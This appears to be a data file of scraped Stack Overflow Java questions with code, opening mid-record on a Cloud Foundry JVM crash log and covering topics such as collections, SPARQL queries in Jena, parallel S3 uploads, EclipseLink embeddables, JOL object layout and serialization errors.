4077499392.000000 , d : -6.037435e-35 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm10 3fe0000000000000 ( f : 0.000000 , d : 5.000000e-01 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR -- -- -- -- -- - Stack Backtrace -- -- -- -- -- - 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB4E6C85 [ libj9vm29.so+0xe9c85 ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR R10=0000000000000522 R11=00007F82CC39FA0C R12=0000000000000000 R13=00007F82CBB9F520 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm3 105953dd10130610 ( f : 269682176.000000 , d : 6.525551e-230 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm4 d91013075953130a ( f : 1498616576.000000 , d : -1.037698e+121 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm5 5953cc0913045953 ( f : 319052128.000000 , d : 2.044833e+122 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm8 0000000000000000 ( f : 0.000000 , d : 0.000000e+00 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm9 09b3fe01b8042e01 ( f : 3087281664.000000 , d : 6.348990e-262 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Module_base_address=00007F82CB3FD000 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Target=2_90_20170901_363591 ( Linux 4.4.0-75-generic ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB50AADF [ libj9vm29.so+0x10dadf ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB502134 [ libj9vm29.so+0x105134 ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB4E7E64 [ libj9vm29.so+0xeae64 ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82C0D74DD9 [ libjclse7b_29.so+0x1cdd9 ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR RDI=00007F82CC39F9B0 RSI=0000000000000000 RAX=0000000000000001 RBX=0000000000000001 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm1 0000ffffffffffff ( f : 4294967296.000000 , d : 1.390671e-309 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm14 bc5b599f227becbb ( f : 578546880.000000 , d : -5.930604e-18 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82B053920E [ < unknown > +0x0 ] ) 2017-11-13T12:20:03.89-0600 [ APP/PROC/WEB/0 ] OUT Exit status 255 2017-11-13T12:20:03.92-0600 [ CELL/0 ] OUT Exit status 0 2017-11-13T12:20:03.94-0600 [ CELL/0 ] OUT Destroying container 2017-11-13T12:20:03.94-0600 [ CELL/0 ] OUT Stopping instance 5a3e2441-bbd9-402c-5748-fd68 2017-11-13T12:20:03.96-0600 [ API/0 ] OUT Process has crashed with type : `` web '' 2017-11-13T12:20:03.97-0600 [ API/0 ] OUT App instance exited with guid f7a4a8ff-ebbc-49cf-96eb-37895fb88edd payload : { `` instance '' = > '' 5a3e2441-bbd9-402c-5748-fd68 '' , `` index '' = > 0 , `` reason '' = > '' CRASHED '' , `` exit_description '' = > '' APP/PROC/WEB : Exited with status 255 '' , `` crash_count '' = > 4 , `` crash_timestamp '' = > 1510597203938616258 , `` version '' = > '' 7ebb8072-9edc-40e3-a749-ce83273fb0d3 '' }","CloudFoundry/Springboot app using Liberty for Java on Bluemix all of a sudden crashes when starting , no changes in code for months" +Java,and other collections in java work on int index.Ca n't there be cases where int is not enough and there might be need for more than range of int ? UPDATE : Java 10 or some other version would have to develop new Collection framework for this . As using long with present Collections would break the backward compatibility . Is n't it ?,ArrayList ( int initialCapacity ),Why do Collections in java have int index ? +Java,Assuming the following example : Do I need to override hashCode and equals if I were to add said object to a HashMap ?,"public record SomeRecord ( int foo , byte bar , long baz ) { }",Do you need to override hashCode ( ) and equals ( ) for records ? +Java,"I wrote a class like this and named it Solution.java.BUt when I run it in Terminal , I got a result like this : Why 18 ?",public class Solution { public static void main ( String [ ] args ) { System.out.println ( args.length ) ; } } > /Users/WangWei java Solution *18 > /Users/WangWei,What does * mean in java 's main args list ? +Java,"I 'm struggling with the execution of a SPARQL query in Jena , with a resulting behaviour that I do n't understand ... I 'm trying to query the Esco ontology ( https : //ec.europa.eu/esco/download ) , and I 'm using TDB to load the ontology and create the model ( sorry if the terms I use are not accurate , I 'm not very experienced ) . My goal is to find a job position uri in the ontology that matches with the text I have previously extracted : ex : extracted term : `` acuponcteur '' - > label in ontology : `` Acuponcteur '' @ fr - > uri : < http : //ec.europa.eu/esco/occupation/14918 > What I call the `` weird behaviour '' is related to the results I 'm getting ( or not ) when excuting queries , ie . : When executing the following query : I get those results after 1 minute : However , when I 'm trying to add the DISTINCT keyword , thus : it seems like the query keeps running forever ( i stopped the execution after 20 minutes waiting ... ) I get the same behaviour when executing the same query as the first one ( thus without DISTINCT ) , with another label to match , a label that I 'm sure is not in the ontology . While expecting empty result , it ( seems like it ) keeps running and i have to kill it after a while ( once again , i waited 20 minutes to the most ) : May it be a problem in the code I 'm running ? There it is : What am I doing wrong here ? Any idea ? Thanks !","PREFIX skos : < http : //www.w3.org/2004/02/skos/core # > PREFIX esco : < http : //ec.europa.eu/esco/model # > PREFIX rdf : < http : //www.w3.org/1999/02/22-rdf-syntax-ns # > SELECT ? position WHERE { ? s rdf : type esco : Occupation . { ? position skos : prefLabel ? label . } UNION { ? position skos : altLabel ? label . } FILTER ( lcase ( ? label ) = \ '' acuponcteur\ '' @ fr ) } LIMIT 10 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -| position |===============================================| < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > || < http : //ec.europa.eu/esco/occupation/14918 > | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - PREFIX skos : < http : //www.w3.org/2004/02/skos/core # > PREFIX esco : < http : //ec.europa.eu/esco/model # > PREFIX rdf : < http : //www.w3.org/1999/02/22-rdf-syntax-ns # > SELECT DISTINCT ? position WHERE { ? s rdf : type esco : Occupation . { ? position skos : prefLabel ? label . } UNION { ? position skos : altLabel ? label . } FILTER ( lcase ( ? label ) = \ '' acuponcteur\ '' @ fr ) } LIMIT 10 PREFIX skos : < http : //www.w3.org/2004/02/skos/core # > PREFIX esco : < http : //ec.europa.eu/esco/model # > PREFIX rdf : < http : //www.w3.org/1999/02/22-rdf-syntax-ns # > SELECT ? position WHERE { ? s rdf : type esco : Occupation . { ? position skos : prefLabel ? label . } UNION { ? position skos : altLabel ? label . } FILTER ( lcase ( ? label ) = \ '' assistante scolaire\ '' @ fr ) } LIMIT 10 public static void main ( String [ ] args ) { // Make a TDB-backed dataset String directory = `` data/testtdb '' ; Dataset dataset = TDBFactory.createDataset ( directory ) ; // transaction ( protects a TDB dataset against data corruption , unexpected process termination and system crashes ) dataset.begin ( ReadWrite.WRITE ) ; // assume we want the default model , or we could get a named model here Model model = dataset.getDefaultModel ( ) ; try { // read the input file - only needs to be done once String source = `` data/esco.rdf '' ; FileManager.get ( ) .readModel ( model , source , `` RDF/XML-ABBREV '' ) ; // run a query String queryString = `` PREFIX skos : < http : //www.w3.org/2004/02/skos/core # > `` + `` PREFIX esco : < http : //ec.europa.eu/esco/model # > `` + `` PREFIX rdf : < http : //www.w3.org/1999/02/22-rdf-syntax-ns # > `` + `` SELECT ? position `` + `` WHERE { `` + `` ? s rdf : type esco : Occupation. `` + `` { ? position skos : prefLabel ? label . } `` + `` UNION `` + `` { ? position skos : altLabel ? label . } '' + `` FILTER ( lcase ( ? label ) = \ '' acuponcteur\ '' @ fr ) `` + `` } '' + `` LIMIT 1 `` ; Query query = QueryFactory.create ( queryString ) ; // execute the query QueryExecution qexec = QueryExecutionFactory.create ( query , model ) ; try { ResultSet results = qexec.execSelect ( ) ; // taken from apache Jena tutorial ResultSetFormatter.out ( System.out , results , query ) ; } finally { qexec.close ( ) ; } } finally { model.close ( ) ; dataset.end ( ) ; } }",Sparql query running forever +Java,"For example , I like to init a set like [ 1,2,3 , ... ,100 ] .Usually , we do as follows : Is there any method to do this more conveniently ? Such as someMethod ( startIndex , endIndex , step ) ; By using that , we can easily init a set like [ 1,2,3,4,5 ] or [ 1,3,5,7,9 ] or others .",for ( int i = 1 ; i < = 100 ; i++ ) { set.add ( i ) ; },Is there any method in Java to init a set by step 1 or other length ? +Java,"The goal of the following code is to sort 300,000 int numbers . I find that the duration of ArrayList 's sort ( ) is less than Arrays ' sort ( ) . Internally , they use the same algorithm to sort . ArrayList uses Arrays ' sort ( ) to sort its element data.The result is as follows : ArrayList Sort duration:211Arrays duration:435I checked the source code of ArrayList . It use Arrays.sort ( ) in its own sort method . So , in my opinion , my code should show the same duration . But I tried many times , and the results are similar . What happened ? Java version : 8Operating System : Windows 7","public class EasySort { public static void main ( String args [ ] ) { // Read data from file , number split by `` , '' FileReader fr = null ; try { fr = new FileReader ( `` testdata2.txt '' ) ; } catch ( FileNotFoundException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } BufferedReader bufferedReader=new BufferedReader ( fr ) ; String line=null ; try { line=bufferedReader.readLine ( ) ; } catch ( IOException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } // use split method to generate a String array to save numbers String [ ] strArray=line.split ( `` , '' ) ; //Convert string array to ArrayList < Integer > ArrayList < Integer > integerList=new ArrayList < > ( ) ; for ( String str : strArray ) { integerList.add ( Integer.parseInt ( str ) ) ; } //Sort by ArrayList long t0=System.currentTimeMillis ( ) ; integerList.sort ( ( ( p1 , p2 ) - > ( p1.intValue ( ) < p2.intValue ( ) ? -1 : p1.intValue ( ) > p2.intValue ( ) ? 1:0 ) ) ) ; long t1=System.currentTimeMillis ( ) ; System.out.println ( `` ArrayList Sort duration : '' + ( t1-t0 ) ) ; //Convert string array to Integer array Integer [ ] integerArray=new Integer [ strArray.length ] ; int i=0 ; for ( String str : strArray ) { integerArray [ i++ ] =Integer.parseInt ( str ) ; } //Sort by Arrays t0=System.currentTimeMillis ( ) ; Arrays.sort ( integerArray , ( ( p1 , p2 ) - > ( p1.intValue ( ) < p2.intValue ( ) ? -1 : p1.intValue ( ) > p2.intValue ( ) ? 1:0 ) ) ) ; t1=System.currentTimeMillis ( ) ; System.out.println ( `` Arrays duration : '' + ( t1-t0 ) ) ; } } @ Override @ SuppressWarnings ( `` unchecked '' ) public void sort ( Comparator < ? super E > c ) { final int expectedModCount = modCount ; Arrays.sort ( ( E [ ] ) elementData , 0 , size , c ) ; if ( modCount ! = expectedModCount ) { throw new ConcurrentModificationException ( ) ; } modCount++ ; }",Why is ArrayList 's sort method faster than Arrays ' in Java ? +Java,"I have to iterate over 130 Data Transfer Objects , and each time will generate a json to be uploaded to aws S3 . With no improvements , it takes around 90 seconds the complete the whole process . I tried using lamba and not using lamba , same results for both.After some investigation , I concluded that the method processDTO takes around 0.650ms per item to run.My first attempt was to use parallel streams , and the results were pretty good , taking around 15 seconds to complete the whole process : But I still need to decrease that time.I researched about improving parallel streams , and discovered the ForkJoinPool trick : Unfortunately , the results were a bit confusing for me.When PARALLELISM_NUMBER is 8 , it takes around 13 seconds to complete the whole process . Not a big improve.When PARALLELISM_NUMBER is 16 , it takes around 8 seconds to complete the whole process.When PARALLELISM_NUMBER is 32 , it takes around 5 seconds to complete the whole process.All tests were done using postman requests , calling the controller method which will end-up iterating the 130 itemsI 'm satisfied with 5 seconds , using 32 as PARALLELISM_NUMBER , but I 'm worried about the consequences . Is it ok to keep 32 ? What is the ideal PARALLELISM_NUMBER ? What do I have to keep in mind when deciding its value ? I 'm running on a Mac 2.2GHZ I7Here 's what processDTO does :","for ( AbstractDTO dto : dtos ) { try { processDTO ( dealerCode , yearPeriod , monthPeriod , dto ) ; } catch ( FileAlreadyExistsInS3Exception e ) { failedToUploadDTOs.add ( e.getLocalizedMessage ( ) + `` : `` + dto.fileName ( ) + `` .json '' ) ; } } dtos.stream ( ) .forEach ( dto - > { try { processDTO ( dealerCode , yearPeriod , monthPeriod , dto ) ; } catch ( FileAlreadyExistsInS3Exception e ) { failedToUploadDTOs.add ( e.getLocalizedMessage ( ) + `` : `` + dto.fileName ( ) + `` .json '' ) ; } } ) ; dtos.parallelStream ( ) .forEach ( dto - > { try { processDTO ( dealerCode , yearPeriod , monthPeriod , dto ) ; } catch ( FileAlreadyExistsInS3Exception e ) { failedToUploadDTOs.add ( e.getLocalizedMessage ( ) + `` : `` + dto.fileName ( ) + `` .json '' ) ; } } ) ; ForkJoinPool forkJoinPool = new ForkJoinPool ( PARALLELISM_NUMBER ) ; forkJoinPool.submit ( ( ) - > dtos.parallelStream ( ) .forEach ( dto - > { try { processDTO ( dealerCode , yearPeriod , monthPeriod , dto ) ; } catch ( FileAlreadyExistsInS3Exception e ) { failedToUploadDTOs.add ( e.getLocalizedMessage ( ) + `` : `` + dto.fileName ( ) + `` .json '' ) ; } } ) ) .get ( ) ; forkJoinPool.shutdown ( ) ; sysctl hw.physicalcpu hw.logicalcphw.physicalcpu : 4hw.logicalcpu : 8 private void processDTO ( int dealerCode , int yearPeriod , int monthPeriod , AbstractDTO dto ) throws FileAlreadyExistsInS3Exception { String flatJson = JsonFlattener.flatten ( new JSONObject ( dto ) .toString ( ) ) ; String jsonFileName = dto.fileName ( ) + JSON_TYPE ; ; String jsonFilePath = buildFilePathNew ( dto.endpoint ( ) , dealerCode , yearPeriod , monthPeriod , AWS_S3_JSON_ROOT_FOLDER ) ; uploadFileToS3 ( jsonFilePath + jsonFileName , flatJson ) ; } public void uploadFileToS3 ( String fileName , String fileContent ) throws FileAlreadyExistsInS3Exception { if ( s3client.doesObjectExist ( bucketName , fileName ) ) { throw new FileAlreadyExistsInS3Exception ( ErrorMessages.FILE_ALREADY_EXISTS_IN_S3.getMessage ( ) ) ; } s3client.putObject ( bucketName , fileName , fileContent ) ; }",How to improve the performance iterating over 130 items uploading them to aws s3 +Java,"I have an object A ' that contains lists , maps and other collections on server_1 . Then I send this object to server_2 . After that on the server_1 the object A ' is changed to state A '' . The point is A '' does n't have many changes and it 's expensive to send whole object A '' to the server_2.So if I want to update state of the object A ' on the server_2 I have to send difference between this objects : dA = A '' - A ' to the server_2 and then apply dA to the A'.I try to use two libraries for getting dA : java-object-diffjaversBut now I 'm confused how to apply diffs dA to the object A ' on the server_2.Does someone know how to solve this problem or any other libraris for this use case ? EDIT : Object structure example ( this version a little bit simpler than actual object ) : It seems complicated to check all fields recursively without using any library.EDIT : There is a spring-synk library . It designed for case like my own but I have had StackOverflowError while creating a diff for my objects . This problem occurs due to complexity of my object but I cant simplify it for now . Changing jvm params does n't help . I wonder is it possible to use this library for complex objects .","class Outer { SimpleObj val1 ; List < ComplexObj > list ; Map < String , Map < String , List < OtherComplexObj > > map ; }",Java object diffs : How to apply diffs to an object +Java,"I have a Java object OldFashioned that extends Java 1.4 List : That is , OldFashioned does n't take any type parameters . I need to add SomeObject to it . In Java there 's no problem , since it treats List 1.4 as List < Object > 1.5 and allows to add any subclasses of Object to the collection . But Scala does n't . So next code does n't work : That is , Scala compiler requires to pass type parameters to OldFashioned that actually does n't take them : How can I overcome it and add SomeObject to OldFashined ?",[ Java ] class OldFashioned extends List { ... } [ Scala ] val oldFashioned = new OldFashioned ( ) oldFashioned.add ( new SomeObject ) // found : SomeObject ; required : E [ Scala ] var oldFashioned : OldFashioned [ SomeObject ] = null // OldFashioned does not take type parameters,How to add object to unparameterized Java List ? +Java,"In my current implementation I have separate entity classes for each db table . I am using JPA along with eclipselink-2.5.2 . This is working fine for me but at some point when data is huge , it lags . That 's why I decided to start using @ Embedded , @ Embeddable and @ EmbeddedId . While doing this I am getting an error which is very strange for me . Here is the full stacktrace posted : https : //gist.githubusercontent.com/tjDudhatra/b955812e0d1a71cf97f1/raw/11ea458869e24baae744530417ac99bc877ed514/gistfile1.txtBeing Specific , let me give you the exact scenario in which case I am getting the exception . Consider this Code block which has three class . One is annotated as @ Entity and other twos are annotated as @ Embeddable . I know that in one class we can not define @ Id and @ EmbeddedId and I have not done like that , then too while deploying server , I am getting the exception which only says that : [ class org.apache . { SomeClass } ] has both an @ EmbdeddedId ( on attribute [ id ] ) and an @ Id ( on attribute [ ] . Both ID types can not be specified on the same entity.Please let me know if more details required and any kind of help will be much much appreciated.Thanks ,","@ Entity @ Table ( name= '' user '' ) public class User { @ ID public Long id ; @ Column ( name= '' userCode '' ) public String userCode ; @ ElementCollection @ CollectionTable ( name = `` address '' , joinColumns = @ JoinColumn ( name = `` user_id '' ) ) public List < Address > addressList ; ... . } @ Embeddable public class Address { @ EmbeddedId @ Column ( name = `` id '' ) public Long id ; @ Column ( name= '' userId '' ) public Long userId ; @ Column ( name= '' address-line-1 '' ) public String addressLine1 ; @ Column ( name= '' address-line-2 '' ) public String addressLine2 ; @ ElementCollection @ CollectionTable ( name = `` phone '' , joinColumns = @ JoinColumn ( name = `` user_id '' ) ) protected List < Phone > phoneList ; ... . } @ Embeddable public class Phone { @ EmbeddedId @ Column ( name = `` id '' ) public Long id ; @ Column ( name= '' contact_no '' ) public String contactNo ; @ Column ( name= '' country_code '' ) public int countryCode ; @ Column ( name= '' address_id '' ) public int addressId ; ... . }",Strange issue while configuring ID types for Embeddable class in EclipseLink-2.5.2 +Java,"Type erasure is supposed to erase all generic information ... If this is the case how does a library like GSON use generics to determine what type to deserialize to ? e.g.This will deserialize to < String , Date > where aswill deserialize to < Date , Date > so somehow its using the generic info at runtime .","private Map < String , Date > tenordates ; private Map < Date , Date > tenordates ;",Type Erasure in Java +Java,How to convert `` ۱۲۳۴۵ '' Persian string numbers to double ? I want get Persian number from a textfield and save it in a double variable . I tried : but this throws Caused by : java.lang.NumberFormatException : For input string : .,product.setSellPrice ( Double.parseDouble ( txtProductSalePrice.getText ( ) ) ) ;,How to get Persian number from textfield and convert to double in Java ? +Java,"I use jdk 11 and try to understand -- patch-module option for java compiler . Here is the simple module I have : module-info.java : Patch.java : I have Patch.java file and wanted to patch the module with it . I tried : I.I ran also some fake module path and it worked fine ( produced a valid class file ) : II.So why did the first example fail , but the directory existed and contained valid module-info.java , but the second worked ok even the path did not exist ?",mdl-platform | | |___com.test.mdl.platform | | | |___ ... | | | |___Patch.java | |___module-info.java module com.test.mdl.plarform { exports com.test.mdl.platform ; } public class Patch { } $ javac -- patch-module com.test.mdl.platform=mdl-plarform/src/main/java/ \ mdl-plarform/src/main/java/com/test/mdl/platform/Patch.java error : module not found : com.test.mdl.platform1 error $ javac -- patch-module com.test.mdl.platform=some/fake/path/ \ mdl-plarform/src/main/java/com/test/mdl/platform/Patch.java,Patching module raises module not found error +Java,I have data in a many-to-one relationship . I 'd like to be able to lookup data from both directions . An example : Does this make sense ? Is it possible ?,0 : a1 : b2 : b3 : b4 : cget ( 0 ) -- > aget ( 1 ) -- > bget ( a ) -- > 0get ( b ) -- > ( 1:3 ),Java : Many-to-one bidirectional lookup +Java,"I 'm trying to reduplicate the process of fetching downloadable links from Google Drive , just like the one used in Internet Download Manager ( Windows ) .I 'm doing the following : Downloading the HTML source code of the link.Using regex to search for the fmt_stream_map.Decoding.Trying to reach the link.Access denied . The same approach is used in Internet download manager , and it 's working well . I 'm fetching the link using my Phone , and accessing it from my phone . So basically it 's the same IP and same device.My code first downloads the source code . Search for the map list , then store the quality and its description in an Array . After that i search for the fmt_stream_map for the links , and add them in a final model , to access them easily.I have 3 classes , two of them are models , and the last one is the main class for this process . Now we come to the main class . It 's a `` bit '' documented .","public class ItemStreamList { private String quality ; private String description ; public ItemStreamList ( ) { } public ItemStreamList ( String quality , String description ) { this.quality = quality ; this.description = description ; } public String getQuality ( ) { return quality ; } public void setQuality ( String quality ) { this.quality = quality ; } public String getDescription ( ) { return description ; } public void setDescription ( String description ) { this.description = description ; } } public class ItemLink { private String quality ; private String qualityDesc ; private String link ; public ItemLink ( ) { } public ItemLink ( String quality , String qualityDesc , String link ) { this.quality = quality ; this.qualityDesc = qualityDesc ; this.link = link ; } public String getQualityDesc ( ) { return qualityDesc ; } public void setQualityDesc ( String qualityDesc ) { this.qualityDesc = qualityDesc ; } public String getLink ( ) { return link ; } public void setLink ( String link ) { this.link = link ; } public String getQuality ( ) { return quality ; } public void setQuality ( String quality ) { this.quality = quality ; } } @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; getPageHTML ( `` https : //drive.google.com/file/d/0B7 -- EhvK76QDNmduLWFZMXh1dGs/view '' ) ; } private void getPageHTML ( final String mURL ) { new Thread ( new Runnable ( ) { @ Override public void run ( ) { try { Document mDoc = Jsoup.connect ( mURL ) .get ( ) ; String mHTML = mDoc.toString ( ) ; boolean hasSetStreamMapList = setStreamMapList ( mHTML ) ; String mStreamMap = getMatchRegex ( mHTML , '' \ '' fmt_stream_map\ '' , \ '' '' , '' \ '' ] '' ) ; mStreamMap = org.apache.commons.text.StringEscapeUtils.unescapeJava ( mStreamMap ) ; String [ ] mStreamMapQualities = mStreamMap.split ( `` , '' ) ; if ( hasSetStreamMapList ) { List < ItemLink > mLinks = new ArrayList < > ( ) ; for ( int i = 0 ; i < mStreamMapQualities.length ; i++ ) { String [ ] mLinksArray = mStreamMapQualities [ i ] .split ( `` \\| '' ) ; String mLink = mLinksArray [ 1 ] ; mLink = mLink.replaceAll ( `` % 2 '' , '' , '' ) ; mLinks.add ( new ItemLink ( mLinksArray [ 0 ] , getQualityDescription ( mLinksArray [ 0 ] ) , mLink ) ) ; } for ( int i = 0 ; i < mLinks.size ( ) ; i++ ) { Log.i ( `` StreamMap '' , '' Quality : `` + mLinks.get ( i ) .getQuality ( ) + `` - `` + mLinks.get ( i ) .getQualityDesc ( ) + `` \n '' + `` Link : `` + mLinks.get ( i ) .getLink ( ) ) ; Log.i ( `` StreamMap '' , '' -- -- -- -- -- -- -- -- -- -- -- -- -- - '' ) ; } startActivity ( new Intent ( Intent.ACTION_VIEW , Uri.parse ( mLinks.get ( 0 ) .getLink ( ) ) ) ) ; } else { Log.i ( `` StreamMap '' , '' Stream Map is NOT set '' ) ; } } catch ( IOException e ) { e.printStackTrace ( ) ; } } } ) .start ( ) ; } private List < ItemStreamList > mStreamListItems ; private String getQualityDescription ( String mQuality ) { // Loop through the Stream Map 's Array for ( int i = 0 ; i < mStreamListItems.size ( ) ; i++ ) { // If the Quality contains the Param , then return it if ( mStreamListItems.get ( i ) .getQuality ( ) .contains ( mQuality ) ) return mStreamListItems.get ( i ) .getDescription ( ) ; } // Did n't find the quality , return null return null ; } private boolean setStreamMapList ( String mSource ) { // Define the Array mStreamListItems = new ArrayList < > ( ) ; // Get the fmt_list from the HTML String mStreamMapList = getMatchRegex ( mSource , '' \ '' fmt_list\ '' , \ '' '' , '' \ '' ] '' ) ; // Check if is n't null if ( mStreamMapList ! = null ) { // Split the qualities by `` , '' String [ ] mStreamMapListArray = mStreamMapList.split ( `` , '' ) ; // Loop through the Array for ( int i = 0 ; i < mStreamMapListArray.length ; i++ ) { /* Split the array by `` / '' First index has the quality Second index has the quality 's description */ String [ ] mModelArray = mStreamMapListArray [ i ] .split ( `` / '' ) ; mStreamListItems.add ( new ItemStreamList ( mModelArray [ 0 ] , mModelArray [ 1 ] ) ) ; } return true ; } // It 's null or not set , return false return false ; } private String getMatchRegex ( String mSource , String mFirst , String mSecond ) { String regexString = Pattern.quote ( mFirst ) + `` ( .* ? ) '' + Pattern.quote ( mSecond ) ; Pattern mPattern = Pattern.compile ( regexString ) ; Matcher mMatcher = mPattern.matcher ( mSource ) ; while ( mMatcher.find ( ) ) { String resultString = mMatcher.group ( 1 ) ; return resultString ; } return null ; }","Getting streamable link from Google Drive [ Code is ready , Access is denied ]" +Java,"I 'm trying to do the next in Scala , I 'm using play2 : but it gives to me the error : but if I do : It compile and works ... How can I write it in the form str1 + str2 + str3 more readable ? How is the order/precedence related here ? In my answer I do n't understand why is the ( ) needed neither the comment . Is there another similar case when parenthesis are needed ? ps : I 'm not sure if in Java is the same issue","val str = `` another '' val r = Json.obj ( `` error_type '' - > `` invalid_request_error '' , `` validation_errors '' - > ( Json.obj ( `` code '' - > `` this mode `` + str + `` does not exist '' , `` param '' - > `` mode '' ) ) ) Type mismatch , expected : ( String , Json.JsValueWrapper ) , actual : String val r = Json.obj ( `` error_type '' - > `` invalid_request_error '' , `` validation_errors '' - > ( Json.obj ( ( `` this mode `` .+ ( str ) ) .+ ( `` does not exist '' ) , `` param '' - > `` mode '' ) ) ) )","Json.obj Scala , string concat : Compilation error" +Java,"Intro : I used the JOL ( Java Object Layout ) tool to analyze the internal and external fragmentation of Java objects for research purpose.While doing so , I stumbled across the following : Question : What 's bothering me in this case is that every field is 4 byte aligned ( see OFFSET column ) , but still at offset 56 an alignment gap gets added ( 56 8 ( alignment/padding gap ) ) . I did the same test in Java 9 , and there the object layout changed a little bit , the alignemnt/padding gap still exists , but is even 12 bytes large.Why is this happening ? And why is it 8 bytes large , all other objects I saw are 4-byte aligned interally ? I could n't find an explanation myself.My system : Using default settings ( ParallelOldGC with compressed oops )","x @ pc : ~/Util $ java -jar jol-cli-0.9-full.jar internals sun.reflect.DelegatingClassLoader # WARNING : Unable to attach Serviceability Agent . You can try again with escalated privileges . Two options : a ) use -Djol.tryWithSudo=true to try with sudo ; b ) echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # Running 64-bit HotSpot VM. # Using compressed oop with 3-bit shift. # Using compressed klass with 3-bit shift. # WARNING | Compressed references base/shifts are guessed by the experiment ! # WARNING | Therefore , computed addresses are just guesses , and ARE NOT RELIABLE. # WARNING | Make sure to attach Serviceability Agent to get the reliable addresses. # Objects are 8 bytes aligned. # Field sizes by type : 4 , 1 , 1 , 2 , 2 , 4 , 4 , 8 , 8 [ bytes ] # Array element sizes : 4 , 1 , 1 , 2 , 2 , 4 , 4 , 8 , 8 [ bytes ] Instantiated the sample instance via sun.reflect.DelegatingClassLoader ( java.lang.ClassLoader ) sun.reflect.DelegatingClassLoader object internals : OFFSET SIZE TYPE DESCRIPTION VALUE 0 4 ( object header ) 01 00 00 00 ( 00000001 00000000 00000000 00000000 ) ( 1 ) 4 4 ( object header ) 00 00 00 00 ( 00000000 00000000 00000000 00000000 ) ( 0 ) 8 4 ( object header ) 3b 13 00 f8 ( 00111011 00010011 00000000 11111000 ) ( -134212805 ) 12 4 java.lang.ClassLoader ClassLoader.parent null 16 4 java.util.concurrent.ConcurrentHashMap ClassLoader.parallelLockMap null 20 4 java.util.Map ClassLoader.package2certs ( object ) 24 4 java.util.Vector ClassLoader.classes ( object ) 28 4 java.security.ProtectionDomain ClassLoader.defaultDomain ( object ) 32 4 java.util.Set ClassLoader.domains ( object ) 36 4 java.util.HashMap ClassLoader.packages ( object ) 40 4 java.util.Vector ClassLoader.nativeLibraries ( object ) 44 4 java.lang.Object ClassLoader.assertionLock ( object ) 48 4 java.util.Map ClassLoader.packageAssertionStatus null 52 4 java.util.Map ClassLoader.classAssertionStatus null 56 8 ( alignment/padding gap ) 64 1 boolean ClassLoader.defaultAssertionStatus false 65 7 ( loss due to the next object alignment ) Instance size : 72 bytesSpace losses : 8 bytes internal + 7 bytes external = 15 bytes total openjdk version `` 1.8.0_151 '' OpenJDK Runtime Environment ( build 1.8.0_151-8u151-b12-0ubuntu0.16.04.2-b12 ) OpenJDK 64-Bit Server VM ( build 25.151-b12 , mixed mode )",Why is there internal fragmentation in a Java object even if every field is 4-byte aligned ? +Java,"Today I have came across strange behavior in java serialization and deserialization ( `` strange '' because I do n't understand ) I was serializing and deserializing an object from a linux shared directory . While serializing everything worked without any problem , but when I tried to deserialize the same file it throws java . io . EOFException . Also deserializing was only failing for this newly created file and was working for all other old files in that directory . So I searched across internet and found one thread which said Low disk space can also be cause of this error . So I cleaned up some temp files and voila it worked . I do not understand how low disk space can only affect deserialization and not serialization ? I am using apache commons SerializationUtils class . Below is the code for serialization and deserialization It would be really helpful if someone can explain this behavior . I suspect its a bug in SerializationUtils maybe gobbling up IOException . Thanks","SerializationUtils . serialize ( myObject , new FileOutputStream ( new File ( sharePath+FILEName ) ; MyObject object=SerializationUtils . deserialize ( new FileInputStream ( new File ( sharePath+FILEName ) ;",How low disk space can cause java . io . EOFException +Java,"I have a topology in mininet which consists of 2 floodlight controllers ( c1 and c2 ) , a switch ( s1 ) which is connected to c1 and 2 hosts ( h1 and h2 ) that are connected to this switch . I 'm writing a program in which when c1 receives an ICMP packet from s1 , it will send a Hello message to c2.I 'm using this tutorial for this purpose which says : Messages can be sent from one controller to another using the send function , and the messages have to be tagged with an ‘ m ’ “ m ” . You will send this message TO a particular controller so the TO address comprises of two parts IP : port . The IP is the machine IP address of 